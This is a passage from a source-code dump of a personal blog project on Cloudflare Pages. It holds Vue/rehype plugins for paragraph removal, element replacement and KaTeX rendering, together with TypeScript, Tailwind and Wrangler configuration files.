46 | if (code < 0x80) {
47 | buf[n++] = code;
48 | } else {
49 | const gbk = table[code];
50 | buf[n++] = gbk & 0xff;
51 | buf[n++] = gbk >> 8;
52 | }
53 | }
54 | return buf.subarray(0, n);
55 | }
56 |
--------------------------------------------------------------------------------
/src/utils/rehype-remove-paragraph.ts:
--------------------------------------------------------------------------------
1 | import type { Root } from "hast";
2 | import type { Plugin } from "unified";
3 |
4 | /**
5 | * make
6 | *
7 | * ```html
8 | *
9 | * ```
10 | *
11 | * into
12 | *
13 | * ```html
14 | *
15 | * ```
16 | */
17 | export const rehypeRemoveParagraph: Plugin<[], Root, Root> = () => {
18 | return (root) => {
19 | root.children = root.children.flatMap((x) => {
20 | if (
21 | x.type === "element" &&
22 | x.tagName === "p" &&
23 | x.children.length === 1 &&
24 | x.children[0].type === "element" &&
25 | x.children[0].tagName.startsWith("vue-")
26 | ) {
27 | return x.children;
28 | } else {
29 | return [x];
30 | }
31 | });
32 | };
33 | };
34 |
--------------------------------------------------------------------------------
/src/utils/rehype-replace-element.ts:
--------------------------------------------------------------------------------
1 | import type { Root } from "hast";
2 | import type { Plugin } from "unified";
3 | import { visit } from "unist-util-visit";
4 |
5 | type Options = {
6 | map?: Record;
7 | };
8 |
9 | /**
10 | * Replace all element with map
11 | */
12 | export const rehypeReplaceElement: Plugin<[Options?], Root, Root> = (
13 | options = {},
14 | ) => {
15 | const map = options.map || {};
16 |
17 | return (root) => {
18 | visit(root, "element", (node) => {
19 | if (node.tagName in map) {
20 | node.tagName = map[node.tagName];
21 | }
22 | });
23 | };
24 | };
25 |
--------------------------------------------------------------------------------
/src/utils/toc.ts:
--------------------------------------------------------------------------------
1 | export type TocItem = {
2 | label: string;
3 | hash: string;
4 | children: TocItem[];
5 | };
6 | export type Toc = TocItem[];
7 |
--------------------------------------------------------------------------------
/src/workers-env.d.ts:
--------------------------------------------------------------------------------
1 | import type { Env } from "@biliblitz/blitz/server";
2 |
3 | declare module "@biliblitz/blitz/server" {
4 | interface Env {
5 | d1: D1Database;
6 | NTFY_TOPIC: string;
7 | REACTION_TOPIC: string;
8 | SECRET_KEY: string;
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/tailwind.config.js:
--------------------------------------------------------------------------------
1 | /** @type {import('tailwindcss').Config} */
2 | export default {
3 | content: ["./src/**/*.{js,ts,jsx,tsx,md,mdx,vue}"],
4 | theme: {
5 | extend: {},
6 | },
7 | plugins: [],
8 | };
9 |
--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "ESNext",
4 | "module": "NodeNext",
5 | "moduleResolution": "NodeNext",
6 | "lib": ["ESNext", "DOM", "WebWorker"],
7 | "noEmit": true,
8 | "strict": true,
9 | "allowJs": true,
10 | "allowImportingTsExtensions": true,
11 | "types": [
12 | "node",
13 | "vite/client",
14 | "@biliblitz/blitz/env",
15 | "turnstile-types",
16 | "@cloudflare/workers-types"
17 | ],
18 | "skipLibCheck": true,
19 | "skipDefaultLibCheck": true,
20 | "verbatimModuleSyntax": true,
21 | "resolveJsonModule": true,
22 | "paths": {
23 | "@/*": ["./src/*"]
24 | }
25 | },
26 | "include": [
27 | "src",
28 | "vite",
29 | "adapters",
30 | "vite.config.ts",
31 | "functions",
32 | "server.js",
33 | "server-static.js"
34 | ]
35 | }
36 |
--------------------------------------------------------------------------------
/vite/rehype-katex-vue.ts:
--------------------------------------------------------------------------------
1 | import { visit } from "unist-util-visit";
2 | import { toText } from "hast-util-to-text";
3 |
4 | /**
5 | * Plugin to transform `` and ``
6 | * into `` and ``
7 | */
8 | const rehypeKatex = function () {
9 | return (tree: any, _file: any) => {
10 | visit(tree, "element", (element) => {
11 | const classes =
12 | element.properties && Array.isArray(element.properties.className)
13 | ? element.properties.className
14 | : [];
15 | const inline = classes.includes("math-inline");
16 | const display = classes.includes("math-display");
17 |
18 | if (!inline && !display) {
19 | return;
20 | }
21 |
22 | const value = toText(element, { whitespace: "pre" });
23 |
24 | if (inline) {
25 | element.children = [
26 | {
27 | type: "element",
28 | tagName: "vue-katex",
29 | properties: {
30 | mode: "inline",
31 | content: value,
32 | },
33 | children: [],
34 | },
35 | ];
36 | }
37 |
38 | if (display) {
39 | element.children = [
40 | {
41 | type: "element",
42 | tagName: "vue-katex",
43 | properties: {
44 | mode: "display",
45 | content: value,
46 | },
47 | children: [],
48 | },
49 | ];
50 | }
51 | });
52 | };
53 | };
54 | export default rehypeKatex;
55 |
--------------------------------------------------------------------------------
/wrangler.toml:
--------------------------------------------------------------------------------
1 | # Generated by Wrangler on Fri Aug 16 2024 15:36:06 GMT+0800 (China Standard Time)
2 | name = "blog"
3 | pages_build_output_dir = "dist/static"
4 | compatibility_date = "2023-03-04"
5 |
6 | [placement]
7 | mode = "off"
8 |
9 | [env.production.placement]
10 | mode = "smart"
11 |
12 | [env.production.vars]
13 | NODE_VERSION = "20.11.0"
14 | PNPM_VERSION = "9.5.0"
15 |
16 | [[d1_databases]]
17 | binding = "d1"
18 | database_name = "comments"
19 | database_id = "29e2905d-a6e3-427f-aef1-d5cfbe522ba4"
20 |
21 | [[env.production.d1_databases]]
22 | binding = "d1"
23 | database_name = "comments"
24 | database_id = "29e2905d-a6e3-427f-aef1-d5cfbe522ba4"
25 |
--------------------------------------------------------------------------------